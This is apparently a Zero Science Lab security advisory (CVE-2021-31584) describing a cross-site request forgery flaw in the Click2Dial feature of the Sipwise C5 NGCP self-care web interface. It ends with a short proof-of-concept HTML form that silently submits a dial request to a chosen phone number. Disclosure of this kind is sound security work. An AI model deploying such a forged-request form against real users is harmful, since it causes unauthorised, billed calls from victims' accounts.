Sipwise C5 NGCP CSC CSRF Click2Dial Exploit  
Vendor: Sipwise GmbH  
Product web page:  
Affected version: <=CE_m39.3.1  
NGCP www_admin version 3.6.7  
Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)  
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide  
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,  
conferencing etc.) that can be configured by end users in the self-care web interface.  
For operators, it offers a web-based administrative panel that allows them to configure  
subscribers, SIP peerings, billing profiles, and other entities. The administrative web  
panel also shows the real-time statistics for the whole system. For tight integration  
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.  
Desc: The application interface allows users to perform certain actions via HTTP requests  
without performing any validity checks to verify the requests. This can be exploited to  
perform certain actions with administrative privileges if a logged-in user visits a malicious  
web site.  
Tested on: Apache/2.2.22 (Debian)  
Apache/2.2.16 (Debian)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2021-5649  
Advisory URL:  
CVE ID: CVE-2021-31584  
<form action="" method="POST">  
<input type="hidden" name="d" value="%2B3897031337" />  
<input type="submit" value="Dial and charge!" />